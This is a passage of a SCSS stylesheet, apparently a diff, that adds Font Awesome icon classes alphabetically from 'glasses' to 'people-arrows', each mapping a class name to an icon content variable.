{ content: fa-content($fa-var-glasses); } +.#{$fa-css-prefix}-glide:before { content: fa-content($fa-var-glide); } +.#{$fa-css-prefix}-glide-g:before { content: fa-content($fa-var-glide-g); } +.#{$fa-css-prefix}-globe:before { content: fa-content($fa-var-globe); } +.#{$fa-css-prefix}-globe-africa:before { content: fa-content($fa-var-globe-africa); } +.#{$fa-css-prefix}-globe-americas:before { content: fa-content($fa-var-globe-americas); } +.#{$fa-css-prefix}-globe-asia:before { content: fa-content($fa-var-globe-asia); } +.#{$fa-css-prefix}-globe-europe:before { content: fa-content($fa-var-globe-europe); } +.#{$fa-css-prefix}-gofore:before { content: fa-content($fa-var-gofore); } +.#{$fa-css-prefix}-golf-ball:before { content: fa-content($fa-var-golf-ball); } +.#{$fa-css-prefix}-goodreads:before { content: fa-content($fa-var-goodreads); } +.#{$fa-css-prefix}-goodreads-g:before { content: fa-content($fa-var-goodreads-g); } +.#{$fa-css-prefix}-google:before { content: fa-content($fa-var-google); } +.#{$fa-css-prefix}-google-drive:before { content: fa-content($fa-var-google-drive); } +.#{$fa-css-prefix}-google-pay:before { content: fa-content($fa-var-google-pay); } +.#{$fa-css-prefix}-google-play:before { content: fa-content($fa-var-google-play); } +.#{$fa-css-prefix}-google-plus:before { content: fa-content($fa-var-google-plus); } +.#{$fa-css-prefix}-google-plus-g:before { content: fa-content($fa-var-google-plus-g); } +.#{$fa-css-prefix}-google-plus-square:before { content: fa-content($fa-var-google-plus-square); } +.#{$fa-css-prefix}-google-wallet:before { content: fa-content($fa-var-google-wallet); } +.#{$fa-css-prefix}-gopuram:before { content: fa-content($fa-var-gopuram); } +.#{$fa-css-prefix}-graduation-cap:before { content: fa-content($fa-var-graduation-cap); } +.#{$fa-css-prefix}-gratipay:before { content: fa-content($fa-var-gratipay); } +.#{$fa-css-prefix}-grav:before { content: fa-content($fa-var-grav); } +.#{$fa-css-prefix}-greater-than:before { content: fa-content($fa-var-greater-than); } +.#{$fa-css-prefix}-greater-than-equal:before { content: fa-content($fa-var-greater-than-equal); } +.#{$fa-css-prefix}-grimace:before { content: fa-content($fa-var-grimace); } +.#{$fa-css-prefix}-grin:before { content: fa-content($fa-var-grin); } +.#{$fa-css-prefix}-grin-alt:before { content: fa-content($fa-var-grin-alt); } +.#{$fa-css-prefix}-grin-beam:before { content: fa-content($fa-var-grin-beam); } +.#{$fa-css-prefix}-grin-beam-sweat:before { content: fa-content($fa-var-grin-beam-sweat); } +.#{$fa-css-prefix}-grin-hearts:before { content: fa-content($fa-var-grin-hearts); } +.#{$fa-css-prefix}-grin-squint:before { content: fa-content($fa-var-grin-squint); } +.#{$fa-css-prefix}-grin-squint-tears:before { content: fa-content($fa-var-grin-squint-tears); } +.#{$fa-css-prefix}-grin-stars:before { content: fa-content($fa-var-grin-stars); } +.#{$fa-css-prefix}-grin-tears:before { content: fa-content($fa-var-grin-tears); } +.#{$fa-css-prefix}-grin-tongue:before { content: fa-content($fa-var-grin-tongue); } +.#{$fa-css-prefix}-grin-tongue-squint:before { content: fa-content($fa-var-grin-tongue-squint); } +.#{$fa-css-prefix}-grin-tongue-wink:before { content: fa-content($fa-var-grin-tongue-wink); } +.#{$fa-css-prefix}-grin-wink:before { content: fa-content($fa-var-grin-wink); } +.#{$fa-css-prefix}-grip-horizontal:before { content: fa-content($fa-var-grip-horizontal); } +.#{$fa-css-prefix}-grip-lines:before { content: fa-content($fa-var-grip-lines); } +.#{$fa-css-prefix}-grip-lines-vertical:before { content: fa-content($fa-var-grip-lines-vertical); } +.#{$fa-css-prefix}-grip-vertical:before { content: fa-content($fa-var-grip-vertical); } +.#{$fa-css-prefix}-gripfire:before { content: fa-content($fa-var-gripfire); } +.#{$fa-css-prefix}-grunt:before { content: fa-content($fa-var-grunt); } +.#{$fa-css-prefix}-guilded:before { content: fa-content($fa-var-guilded); } +.#{$fa-css-prefix}-guitar:before { content: fa-content($fa-var-guitar); } +.#{$fa-css-prefix}-gulp:before { content: fa-content($fa-var-gulp); } +.#{$fa-css-prefix}-h-square:before { content: fa-content($fa-var-h-square); } +.#{$fa-css-prefix}-hacker-news:before { content: fa-content($fa-var-hacker-news); } +.#{$fa-css-prefix}-hacker-news-square:before { content: fa-content($fa-var-hacker-news-square); } +.#{$fa-css-prefix}-hackerrank:before { content: fa-content($fa-var-hackerrank); } +.#{$fa-css-prefix}-hamburger:before { content: fa-content($fa-var-hamburger); } +.#{$fa-css-prefix}-hammer:before { content: fa-content($fa-var-hammer); } +.#{$fa-css-prefix}-hamsa:before { content: fa-content($fa-var-hamsa); } +.#{$fa-css-prefix}-hand-holding:before { content: fa-content($fa-var-hand-holding); } +.#{$fa-css-prefix}-hand-holding-heart:before { content: fa-content($fa-var-hand-holding-heart); } +.#{$fa-css-prefix}-hand-holding-medical:before { content: fa-content($fa-var-hand-holding-medical); } +.#{$fa-css-prefix}-hand-holding-usd:before { content: fa-content($fa-var-hand-holding-usd); } +.#{$fa-css-prefix}-hand-holding-water:before { content: fa-content($fa-var-hand-holding-water); } +.#{$fa-css-prefix}-hand-lizard:before { content: fa-content($fa-var-hand-lizard); } +.#{$fa-css-prefix}-hand-middle-finger:before { content: fa-content($fa-var-hand-middle-finger); } +.#{$fa-css-prefix}-hand-paper:before { content: fa-content($fa-var-hand-paper); } +.#{$fa-css-prefix}-hand-peace:before { content: fa-content($fa-var-hand-peace); } +.#{$fa-css-prefix}-hand-point-down:before { content: fa-content($fa-var-hand-point-down); } +.#{$fa-css-prefix}-hand-point-left:before { content: fa-content($fa-var-hand-point-left); } +.#{$fa-css-prefix}-hand-point-right:before { content: fa-content($fa-var-hand-point-right); } +.#{$fa-css-prefix}-hand-point-up:before { content: fa-content($fa-var-hand-point-up); } +.#{$fa-css-prefix}-hand-pointer:before { content: fa-content($fa-var-hand-pointer); } +.#{$fa-css-prefix}-hand-rock:before { content: fa-content($fa-var-hand-rock); } +.#{$fa-css-prefix}-hand-scissors:before { content: fa-content($fa-var-hand-scissors); } +.#{$fa-css-prefix}-hand-sparkles:before { content: fa-content($fa-var-hand-sparkles); } +.#{$fa-css-prefix}-hand-spock:before { content: fa-content($fa-var-hand-spock); } +.#{$fa-css-prefix}-hands:before { content: fa-content($fa-var-hands); } +.#{$fa-css-prefix}-hands-helping:before { content: fa-content($fa-var-hands-helping); } +.#{$fa-css-prefix}-hands-wash:before { content: fa-content($fa-var-hands-wash); } +.#{$fa-css-prefix}-handshake:before { content: fa-content($fa-var-handshake); } +.#{$fa-css-prefix}-handshake-alt-slash:before { content: fa-content($fa-var-handshake-alt-slash); } +.#{$fa-css-prefix}-handshake-slash:before { content: fa-content($fa-var-handshake-slash); } +.#{$fa-css-prefix}-hanukiah:before { content: fa-content($fa-var-hanukiah); } +.#{$fa-css-prefix}-hard-hat:before { content: fa-content($fa-var-hard-hat); } +.#{$fa-css-prefix}-hashtag:before { content: fa-content($fa-var-hashtag); } +.#{$fa-css-prefix}-hat-cowboy:before { content: fa-content($fa-var-hat-cowboy); } +.#{$fa-css-prefix}-hat-cowboy-side:before { content: fa-content($fa-var-hat-cowboy-side); } +.#{$fa-css-prefix}-hat-wizard:before { content: fa-content($fa-var-hat-wizard); } +.#{$fa-css-prefix}-hdd:before { content: fa-content($fa-var-hdd); } +.#{$fa-css-prefix}-head-side-cough:before { content: fa-content($fa-var-head-side-cough); } +.#{$fa-css-prefix}-head-side-cough-slash:before { content: fa-content($fa-var-head-side-cough-slash); } +.#{$fa-css-prefix}-head-side-mask:before { content: fa-content($fa-var-head-side-mask); } +.#{$fa-css-prefix}-head-side-virus:before { content: fa-content($fa-var-head-side-virus); } +.#{$fa-css-prefix}-heading:before { content: fa-content($fa-var-heading); } +.#{$fa-css-prefix}-headphones:before { content: fa-content($fa-var-headphones); } +.#{$fa-css-prefix}-headphones-alt:before { content: fa-content($fa-var-headphones-alt); } +.#{$fa-css-prefix}-headset:before { content: fa-content($fa-var-headset); } +.#{$fa-css-prefix}-heart:before { content: fa-content($fa-var-heart); } +.#{$fa-css-prefix}-heart-broken:before { content: fa-content($fa-var-heart-broken); } +.#{$fa-css-prefix}-heartbeat:before { content: fa-content($fa-var-heartbeat); } +.#{$fa-css-prefix}-helicopter:before { content: fa-content($fa-var-helicopter); } +.#{$fa-css-prefix}-highlighter:before { content: fa-content($fa-var-highlighter); } +.#{$fa-css-prefix}-hiking:before { content: fa-content($fa-var-hiking); } +.#{$fa-css-prefix}-hippo:before { content: fa-content($fa-var-hippo); } +.#{$fa-css-prefix}-hips:before { content: fa-content($fa-var-hips); } +.#{$fa-css-prefix}-hire-a-helper:before { content: fa-content($fa-var-hire-a-helper); } +.#{$fa-css-prefix}-history:before { content: fa-content($fa-var-history); } +.#{$fa-css-prefix}-hive:before { content: fa-content($fa-var-hive); } +.#{$fa-css-prefix}-hockey-puck:before { content: fa-content($fa-var-hockey-puck); } +.#{$fa-css-prefix}-holly-berry:before { content: fa-content($fa-var-holly-berry); } +.#{$fa-css-prefix}-home:before { content: fa-content($fa-var-home); } +.#{$fa-css-prefix}-hooli:before { content: fa-content($fa-var-hooli); } +.#{$fa-css-prefix}-hornbill:before { content: fa-content($fa-var-hornbill); } +.#{$fa-css-prefix}-horse:before { content: fa-content($fa-var-horse); } +.#{$fa-css-prefix}-horse-head:before { content: fa-content($fa-var-horse-head); } +.#{$fa-css-prefix}-hospital:before { content: fa-content($fa-var-hospital); } +.#{$fa-css-prefix}-hospital-alt:before { content: fa-content($fa-var-hospital-alt); } +.#{$fa-css-prefix}-hospital-symbol:before { content: fa-content($fa-var-hospital-symbol); } +.#{$fa-css-prefix}-hospital-user:before { content: fa-content($fa-var-hospital-user); } +.#{$fa-css-prefix}-hot-tub:before { content: fa-content($fa-var-hot-tub); } +.#{$fa-css-prefix}-hotdog:before { content: fa-content($fa-var-hotdog); } +.#{$fa-css-prefix}-hotel:before { content: fa-content($fa-var-hotel); } +.#{$fa-css-prefix}-hotjar:before { content: fa-content($fa-var-hotjar); } +.#{$fa-css-prefix}-hourglass:before { content: fa-content($fa-var-hourglass); } +.#{$fa-css-prefix}-hourglass-end:before { content: fa-content($fa-var-hourglass-end); } +.#{$fa-css-prefix}-hourglass-half:before { content: fa-content($fa-var-hourglass-half); } +.#{$fa-css-prefix}-hourglass-start:before { content: fa-content($fa-var-hourglass-start); } +.#{$fa-css-prefix}-house-damage:before { content: fa-content($fa-var-house-damage); } +.#{$fa-css-prefix}-house-user:before { content: fa-content($fa-var-house-user); } +.#{$fa-css-prefix}-houzz:before { content: fa-content($fa-var-houzz); } +.#{$fa-css-prefix}-hryvnia:before { content: fa-content($fa-var-hryvnia); } +.#{$fa-css-prefix}-html5:before { content: fa-content($fa-var-html5); } +.#{$fa-css-prefix}-hubspot:before { content: fa-content($fa-var-hubspot); } +.#{$fa-css-prefix}-i-cursor:before { content: fa-content($fa-var-i-cursor); } +.#{$fa-css-prefix}-ice-cream:before { content: fa-content($fa-var-ice-cream); } +.#{$fa-css-prefix}-icicles:before { content: fa-content($fa-var-icicles); } +.#{$fa-css-prefix}-icons:before { content: fa-content($fa-var-icons); } +.#{$fa-css-prefix}-id-badge:before { content: fa-content($fa-var-id-badge); } +.#{$fa-css-prefix}-id-card:before { content: fa-content($fa-var-id-card); } +.#{$fa-css-prefix}-id-card-alt:before { content: fa-content($fa-var-id-card-alt); } +.#{$fa-css-prefix}-ideal:before { content: fa-content($fa-var-ideal); } +.#{$fa-css-prefix}-igloo:before { content: fa-content($fa-var-igloo); } +.#{$fa-css-prefix}-image:before { content: fa-content($fa-var-image); } +.#{$fa-css-prefix}-images:before { content: fa-content($fa-var-images); } +.#{$fa-css-prefix}-imdb:before { content: fa-content($fa-var-imdb); } +.#{$fa-css-prefix}-inbox:before { content: fa-content($fa-var-inbox); } +.#{$fa-css-prefix}-indent:before { content: fa-content($fa-var-indent); } +.#{$fa-css-prefix}-industry:before { content: fa-content($fa-var-industry); } +.#{$fa-css-prefix}-infinity:before { content: fa-content($fa-var-infinity); } +.#{$fa-css-prefix}-info:before { content: fa-content($fa-var-info); } +.#{$fa-css-prefix}-info-circle:before { content: fa-content($fa-var-info-circle); } +.#{$fa-css-prefix}-innosoft:before { content: fa-content($fa-var-innosoft); } +.#{$fa-css-prefix}-instagram:before { content: fa-content($fa-var-instagram); } +.#{$fa-css-prefix}-instagram-square:before { content: fa-content($fa-var-instagram-square); } +.#{$fa-css-prefix}-instalod:before { content: fa-content($fa-var-instalod); } +.#{$fa-css-prefix}-intercom:before { content: fa-content($fa-var-intercom); } +.#{$fa-css-prefix}-internet-explorer:before { content: fa-content($fa-var-internet-explorer); } +.#{$fa-css-prefix}-invision:before { content: fa-content($fa-var-invision); } +.#{$fa-css-prefix}-ioxhost:before { content: fa-content($fa-var-ioxhost); } +.#{$fa-css-prefix}-italic:before { content: fa-content($fa-var-italic); } +.#{$fa-css-prefix}-itch-io:before { content: fa-content($fa-var-itch-io); } +.#{$fa-css-prefix}-itunes:before { content: fa-content($fa-var-itunes); } +.#{$fa-css-prefix}-itunes-note:before { content: fa-content($fa-var-itunes-note); } +.#{$fa-css-prefix}-java:before { content: fa-content($fa-var-java); } +.#{$fa-css-prefix}-jedi:before { content: fa-content($fa-var-jedi); } +.#{$fa-css-prefix}-jedi-order:before { content: fa-content($fa-var-jedi-order); } +.#{$fa-css-prefix}-jenkins:before { content: fa-content($fa-var-jenkins); } +.#{$fa-css-prefix}-jira:before { content: fa-content($fa-var-jira); } +.#{$fa-css-prefix}-joget:before { content: fa-content($fa-var-joget); } +.#{$fa-css-prefix}-joint:before { content: fa-content($fa-var-joint); } +.#{$fa-css-prefix}-joomla:before { content: fa-content($fa-var-joomla); } +.#{$fa-css-prefix}-journal-whills:before { content: fa-content($fa-var-journal-whills); } +.#{$fa-css-prefix}-js:before { content: fa-content($fa-var-js); } +.#{$fa-css-prefix}-js-square:before { content: fa-content($fa-var-js-square); } +.#{$fa-css-prefix}-jsfiddle:before { content: fa-content($fa-var-jsfiddle); } +.#{$fa-css-prefix}-kaaba:before { content: fa-content($fa-var-kaaba); } +.#{$fa-css-prefix}-kaggle:before { content: fa-content($fa-var-kaggle); } +.#{$fa-css-prefix}-key:before { content: fa-content($fa-var-key); } +.#{$fa-css-prefix}-keybase:before { content: fa-content($fa-var-keybase); } +.#{$fa-css-prefix}-keyboard:before { content: fa-content($fa-var-keyboard); } +.#{$fa-css-prefix}-keycdn:before { content: fa-content($fa-var-keycdn); } +.#{$fa-css-prefix}-khanda:before { content: fa-content($fa-var-khanda); } +.#{$fa-css-prefix}-kickstarter:before { content: fa-content($fa-var-kickstarter); } +.#{$fa-css-prefix}-kickstarter-k:before { content: fa-content($fa-var-kickstarter-k); } +.#{$fa-css-prefix}-kiss:before { content: fa-content($fa-var-kiss); } +.#{$fa-css-prefix}-kiss-beam:before { content: fa-content($fa-var-kiss-beam); } +.#{$fa-css-prefix}-kiss-wink-heart:before { content: fa-content($fa-var-kiss-wink-heart); } +.#{$fa-css-prefix}-kiwi-bird:before { content: fa-content($fa-var-kiwi-bird); } +.#{$fa-css-prefix}-korvue:before { content: fa-content($fa-var-korvue); } +.#{$fa-css-prefix}-landmark:before { content: fa-content($fa-var-landmark); } +.#{$fa-css-prefix}-language:before { content: fa-content($fa-var-language); } +.#{$fa-css-prefix}-laptop:before { content: fa-content($fa-var-laptop); } +.#{$fa-css-prefix}-laptop-code:before { content: fa-content($fa-var-laptop-code); } +.#{$fa-css-prefix}-laptop-house:before { content: fa-content($fa-var-laptop-house); } +.#{$fa-css-prefix}-laptop-medical:before { content: fa-content($fa-var-laptop-medical); } +.#{$fa-css-prefix}-laravel:before { content: fa-content($fa-var-laravel); } +.#{$fa-css-prefix}-lastfm:before { content: fa-content($fa-var-lastfm); } +.#{$fa-css-prefix}-lastfm-square:before { content: fa-content($fa-var-lastfm-square); } +.#{$fa-css-prefix}-laugh:before { content: fa-content($fa-var-laugh); } +.#{$fa-css-prefix}-laugh-beam:before { content: fa-content($fa-var-laugh-beam); } +.#{$fa-css-prefix}-laugh-squint:before { content: fa-content($fa-var-laugh-squint); } +.#{$fa-css-prefix}-laugh-wink:before { content: fa-content($fa-var-laugh-wink); } +.#{$fa-css-prefix}-layer-group:before { content: fa-content($fa-var-layer-group); } +.#{$fa-css-prefix}-leaf:before { content: fa-content($fa-var-leaf); } +.#{$fa-css-prefix}-leanpub:before { content: fa-content($fa-var-leanpub); } +.#{$fa-css-prefix}-lemon:before { content: fa-content($fa-var-lemon); } +.#{$fa-css-prefix}-less:before { content: fa-content($fa-var-less); } +.#{$fa-css-prefix}-less-than:before { content: fa-content($fa-var-less-than); } +.#{$fa-css-prefix}-less-than-equal:before { content: fa-content($fa-var-less-than-equal); } +.#{$fa-css-prefix}-level-down-alt:before { content: fa-content($fa-var-level-down-alt); } +.#{$fa-css-prefix}-level-up-alt:before { content: fa-content($fa-var-level-up-alt); } +.#{$fa-css-prefix}-life-ring:before { content: fa-content($fa-var-life-ring); } +.#{$fa-css-prefix}-lightbulb:before { content: fa-content($fa-var-lightbulb); } +.#{$fa-css-prefix}-line:before { content: fa-content($fa-var-line); } +.#{$fa-css-prefix}-link:before { content: fa-content($fa-var-link); } +.#{$fa-css-prefix}-linkedin:before { content: fa-content($fa-var-linkedin); } +.#{$fa-css-prefix}-linkedin-in:before { content: fa-content($fa-var-linkedin-in); } +.#{$fa-css-prefix}-linode:before { content: fa-content($fa-var-linode); } +.#{$fa-css-prefix}-linux:before { content: fa-content($fa-var-linux); } +.#{$fa-css-prefix}-lira-sign:before { content: fa-content($fa-var-lira-sign); } +.#{$fa-css-prefix}-list:before { content: fa-content($fa-var-list); } +.#{$fa-css-prefix}-list-alt:before { content: fa-content($fa-var-list-alt); } +.#{$fa-css-prefix}-list-ol:before { content: fa-content($fa-var-list-ol); } +.#{$fa-css-prefix}-list-ul:before { content: fa-content($fa-var-list-ul); } +.#{$fa-css-prefix}-location-arrow:before { content: fa-content($fa-var-location-arrow); } +.#{$fa-css-prefix}-lock:before { content: fa-content($fa-var-lock); } +.#{$fa-css-prefix}-lock-open:before { content: fa-content($fa-var-lock-open); } +.#{$fa-css-prefix}-long-arrow-alt-down:before { content: fa-content($fa-var-long-arrow-alt-down); } +.#{$fa-css-prefix}-long-arrow-alt-left:before { content: fa-content($fa-var-long-arrow-alt-left); } +.#{$fa-css-prefix}-long-arrow-alt-right:before { content: fa-content($fa-var-long-arrow-alt-right); } +.#{$fa-css-prefix}-long-arrow-alt-up:before { content: fa-content($fa-var-long-arrow-alt-up); } +.#{$fa-css-prefix}-low-vision:before { content: fa-content($fa-var-low-vision); } +.#{$fa-css-prefix}-luggage-cart:before { content: fa-content($fa-var-luggage-cart); } +.#{$fa-css-prefix}-lungs:before { content: fa-content($fa-var-lungs); } +.#{$fa-css-prefix}-lungs-virus:before { content: fa-content($fa-var-lungs-virus); } +.#{$fa-css-prefix}-lyft:before { content: fa-content($fa-var-lyft); } +.#{$fa-css-prefix}-magento:before { content: fa-content($fa-var-magento); } +.#{$fa-css-prefix}-magic:before { content: fa-content($fa-var-magic); } +.#{$fa-css-prefix}-magnet:before { content: fa-content($fa-var-magnet); } +.#{$fa-css-prefix}-mail-bulk:before { content: fa-content($fa-var-mail-bulk); } +.#{$fa-css-prefix}-mailchimp:before { content: fa-content($fa-var-mailchimp); } +.#{$fa-css-prefix}-male:before { content: fa-content($fa-var-male); } +.#{$fa-css-prefix}-mandalorian:before { content: fa-content($fa-var-mandalorian); } +.#{$fa-css-prefix}-map:before { content: fa-content($fa-var-map); } +.#{$fa-css-prefix}-map-marked:before { content: fa-content($fa-var-map-marked); } +.#{$fa-css-prefix}-map-marked-alt:before { content: fa-content($fa-var-map-marked-alt); } +.#{$fa-css-prefix}-map-marker:before { content: fa-content($fa-var-map-marker); } +.#{$fa-css-prefix}-map-marker-alt:before { content: fa-content($fa-var-map-marker-alt); } +.#{$fa-css-prefix}-map-pin:before { content: fa-content($fa-var-map-pin); } +.#{$fa-css-prefix}-map-signs:before { content: fa-content($fa-var-map-signs); } +.#{$fa-css-prefix}-markdown:before { content: fa-content($fa-var-markdown); } +.#{$fa-css-prefix}-marker:before { content: fa-content($fa-var-marker); } +.#{$fa-css-prefix}-mars:before { content: fa-content($fa-var-mars); } +.#{$fa-css-prefix}-mars-double:before { content: fa-content($fa-var-mars-double); } +.#{$fa-css-prefix}-mars-stroke:before { content: fa-content($fa-var-mars-stroke); } +.#{$fa-css-prefix}-mars-stroke-h:before { content: fa-content($fa-var-mars-stroke-h); } +.#{$fa-css-prefix}-mars-stroke-v:before { content: fa-content($fa-var-mars-stroke-v); } +.#{$fa-css-prefix}-mask:before { content: fa-content($fa-var-mask); } +.#{$fa-css-prefix}-mastodon:before { content: fa-content($fa-var-mastodon); } +.#{$fa-css-prefix}-maxcdn:before { content: fa-content($fa-var-maxcdn); } +.#{$fa-css-prefix}-mdb:before { content: fa-content($fa-var-mdb); } +.#{$fa-css-prefix}-medal:before { content: fa-content($fa-var-medal); } +.#{$fa-css-prefix}-medapps:before { content: fa-content($fa-var-medapps); } +.#{$fa-css-prefix}-medium:before { content: fa-content($fa-var-medium); } +.#{$fa-css-prefix}-medium-m:before { content: fa-content($fa-var-medium-m); } +.#{$fa-css-prefix}-medkit:before { content: fa-content($fa-var-medkit); } +.#{$fa-css-prefix}-medrt:before { content: fa-content($fa-var-medrt); } +.#{$fa-css-prefix}-meetup:before { content: fa-content($fa-var-meetup); } +.#{$fa-css-prefix}-megaport:before { content: fa-content($fa-var-megaport); } +.#{$fa-css-prefix}-meh:before { content: fa-content($fa-var-meh); } +.#{$fa-css-prefix}-meh-blank:before { content: fa-content($fa-var-meh-blank); } +.#{$fa-css-prefix}-meh-rolling-eyes:before { content: fa-content($fa-var-meh-rolling-eyes); } +.#{$fa-css-prefix}-memory:before { content: fa-content($fa-var-memory); } +.#{$fa-css-prefix}-mendeley:before { content: fa-content($fa-var-mendeley); } +.#{$fa-css-prefix}-menorah:before { content: fa-content($fa-var-menorah); } +.#{$fa-css-prefix}-mercury:before { content: fa-content($fa-var-mercury); } +.#{$fa-css-prefix}-meteor:before { content: fa-content($fa-var-meteor); } +.#{$fa-css-prefix}-microblog:before { content: fa-content($fa-var-microblog); } +.#{$fa-css-prefix}-microchip:before { content: fa-content($fa-var-microchip); } +.#{$fa-css-prefix}-microphone:before { content: fa-content($fa-var-microphone); } +.#{$fa-css-prefix}-microphone-alt:before { content: fa-content($fa-var-microphone-alt); } +.#{$fa-css-prefix}-microphone-alt-slash:before { content: fa-content($fa-var-microphone-alt-slash); } +.#{$fa-css-prefix}-microphone-slash:before { content: fa-content($fa-var-microphone-slash); } +.#{$fa-css-prefix}-microscope:before { content: fa-content($fa-var-microscope); } +.#{$fa-css-prefix}-microsoft:before { content: fa-content($fa-var-microsoft); } +.#{$fa-css-prefix}-minus:before { content: fa-content($fa-var-minus); } +.#{$fa-css-prefix}-minus-circle:before { content: fa-content($fa-var-minus-circle); } +.#{$fa-css-prefix}-minus-square:before { content: fa-content($fa-var-minus-square); } +.#{$fa-css-prefix}-mitten:before { content: fa-content($fa-var-mitten); } +.#{$fa-css-prefix}-mix:before { content: fa-content($fa-var-mix); } +.#{$fa-css-prefix}-mixcloud:before { content: fa-content($fa-var-mixcloud); } +.#{$fa-css-prefix}-mixer:before { content: fa-content($fa-var-mixer); } +.#{$fa-css-prefix}-mizuni:before { content: fa-content($fa-var-mizuni); } +.#{$fa-css-prefix}-mobile:before { content: fa-content($fa-var-mobile); } +.#{$fa-css-prefix}-mobile-alt:before { content: fa-content($fa-var-mobile-alt); } +.#{$fa-css-prefix}-modx:before { content: fa-content($fa-var-modx); } +.#{$fa-css-prefix}-monero:before { content: fa-content($fa-var-monero); } +.#{$fa-css-prefix}-money-bill:before { content: fa-content($fa-var-money-bill); } +.#{$fa-css-prefix}-money-bill-alt:before { content: fa-content($fa-var-money-bill-alt); } +.#{$fa-css-prefix}-money-bill-wave:before { content: fa-content($fa-var-money-bill-wave); } +.#{$fa-css-prefix}-money-bill-wave-alt:before { content: fa-content($fa-var-money-bill-wave-alt); } +.#{$fa-css-prefix}-money-check:before { content: fa-content($fa-var-money-check); } +.#{$fa-css-prefix}-money-check-alt:before { content: fa-content($fa-var-money-check-alt); } +.#{$fa-css-prefix}-monument:before { content: fa-content($fa-var-monument); } +.#{$fa-css-prefix}-moon:before { content: fa-content($fa-var-moon); } +.#{$fa-css-prefix}-mortar-pestle:before { content: fa-content($fa-var-mortar-pestle); } +.#{$fa-css-prefix}-mosque:before { content: fa-content($fa-var-mosque); } +.#{$fa-css-prefix}-motorcycle:before { content: fa-content($fa-var-motorcycle); } +.#{$fa-css-prefix}-mountain:before { content: fa-content($fa-var-mountain); } +.#{$fa-css-prefix}-mouse:before { content: fa-content($fa-var-mouse); } +.#{$fa-css-prefix}-mouse-pointer:before { content: fa-content($fa-var-mouse-pointer); } +.#{$fa-css-prefix}-mug-hot:before { content: fa-content($fa-var-mug-hot); } +.#{$fa-css-prefix}-music:before { content: fa-content($fa-var-music); } +.#{$fa-css-prefix}-napster:before { content: fa-content($fa-var-napster); } +.#{$fa-css-prefix}-neos:before { content: fa-content($fa-var-neos); } +.#{$fa-css-prefix}-network-wired:before { content: fa-content($fa-var-network-wired); } +.#{$fa-css-prefix}-neuter:before { content: fa-content($fa-var-neuter); } +.#{$fa-css-prefix}-newspaper:before { content: fa-content($fa-var-newspaper); } +.#{$fa-css-prefix}-nimblr:before { content: fa-content($fa-var-nimblr); } +.#{$fa-css-prefix}-node:before { content: fa-content($fa-var-node); } +.#{$fa-css-prefix}-node-js:before { content: fa-content($fa-var-node-js); } +.#{$fa-css-prefix}-not-equal:before { content: fa-content($fa-var-not-equal); } +.#{$fa-css-prefix}-notes-medical:before { content: fa-content($fa-var-notes-medical); } +.#{$fa-css-prefix}-npm:before { content: fa-content($fa-var-npm); } +.#{$fa-css-prefix}-ns8:before { content: fa-content($fa-var-ns8); } +.#{$fa-css-prefix}-nutritionix:before { content: fa-content($fa-var-nutritionix); } +.#{$fa-css-prefix}-object-group:before { content: fa-content($fa-var-object-group); } +.#{$fa-css-prefix}-object-ungroup:before { content: fa-content($fa-var-object-ungroup); } +.#{$fa-css-prefix}-octopus-deploy:before { content: fa-content($fa-var-octopus-deploy); } +.#{$fa-css-prefix}-odnoklassniki:before { content: fa-content($fa-var-odnoklassniki); } +.#{$fa-css-prefix}-odnoklassniki-square:before { content: fa-content($fa-var-odnoklassniki-square); } +.#{$fa-css-prefix}-oil-can:before { content: fa-content($fa-var-oil-can); } +.#{$fa-css-prefix}-old-republic:before { content: fa-content($fa-var-old-republic); } +.#{$fa-css-prefix}-om:before { content: fa-content($fa-var-om); } +.#{$fa-css-prefix}-opencart:before { content: fa-content($fa-var-opencart); } +.#{$fa-css-prefix}-openid:before { content: fa-content($fa-var-openid); } +.#{$fa-css-prefix}-opera:before { content: fa-content($fa-var-opera); } +.#{$fa-css-prefix}-optin-monster:before { content: fa-content($fa-var-optin-monster); } +.#{$fa-css-prefix}-orcid:before { content: fa-content($fa-var-orcid); } +.#{$fa-css-prefix}-osi:before { content: fa-content($fa-var-osi); } +.#{$fa-css-prefix}-otter:before { content: fa-content($fa-var-otter); } +.#{$fa-css-prefix}-outdent:before { content: fa-content($fa-var-outdent); } +.#{$fa-css-prefix}-page4:before { content: fa-content($fa-var-page4); } +.#{$fa-css-prefix}-pagelines:before { content: fa-content($fa-var-pagelines); } +.#{$fa-css-prefix}-pager:before { content: fa-content($fa-var-pager); } +.#{$fa-css-prefix}-paint-brush:before { content: fa-content($fa-var-paint-brush); } +.#{$fa-css-prefix}-paint-roller:before { content: fa-content($fa-var-paint-roller); } +.#{$fa-css-prefix}-palette:before { content: fa-content($fa-var-palette); } +.#{$fa-css-prefix}-palfed:before { content: fa-content($fa-var-palfed); } +.#{$fa-css-prefix}-pallet:before { content: fa-content($fa-var-pallet); } +.#{$fa-css-prefix}-paper-plane:before { content: fa-content($fa-var-paper-plane); } +.#{$fa-css-prefix}-paperclip:before { content: fa-content($fa-var-paperclip); } +.#{$fa-css-prefix}-parachute-box:before { content: fa-content($fa-var-parachute-box); } +.#{$fa-css-prefix}-paragraph:before { content: fa-content($fa-var-paragraph); } +.#{$fa-css-prefix}-parking:before { content: fa-content($fa-var-parking); } +.#{$fa-css-prefix}-passport:before { content: fa-content($fa-var-passport); } +.#{$fa-css-prefix}-pastafarianism:before { content: fa-content($fa-var-pastafarianism); } +.#{$fa-css-prefix}-paste:before { content: fa-content($fa-var-paste); } +.#{$fa-css-prefix}-patreon:before { content: fa-content($fa-var-patreon); } +.#{$fa-css-prefix}-pause:before { content: fa-content($fa-var-pause); } +.#{$fa-css-prefix}-pause-circle:before { content: fa-content($fa-var-pause-circle); } +.#{$fa-css-prefix}-paw:before { content: fa-content($fa-var-paw); } +.#{$fa-css-prefix}-paypal:before { content: fa-content($fa-var-paypal); } +.#{$fa-css-prefix}-peace:before { content: fa-content($fa-var-peace); } +.#{$fa-css-prefix}-pen:before { content: fa-content($fa-var-pen); } +.#{$fa-css-prefix}-pen-alt:before { content: fa-content($fa-var-pen-alt); } +.#{$fa-css-prefix}-pen-fancy:before { content: fa-content($fa-var-pen-fancy); } +.#{$fa-css-prefix}-pen-nib:before { content: fa-content($fa-var-pen-nib); } +.#{$fa-css-prefix}-pen-square:before { content: fa-content($fa-var-pen-square); } +.#{$fa-css-prefix}-pencil-alt:before { content: fa-content($fa-var-pencil-alt); } +.#{$fa-css-prefix}-pencil-ruler:before { content: fa-content($fa-var-pencil-ruler); } +.#{$fa-css-prefix}-penny-arcade:before { content: fa-content($fa-var-penny-arcade); } +.#{$fa-css-prefix}-people-arrows:before { content: fa-content($fa-var-people-arrows); } 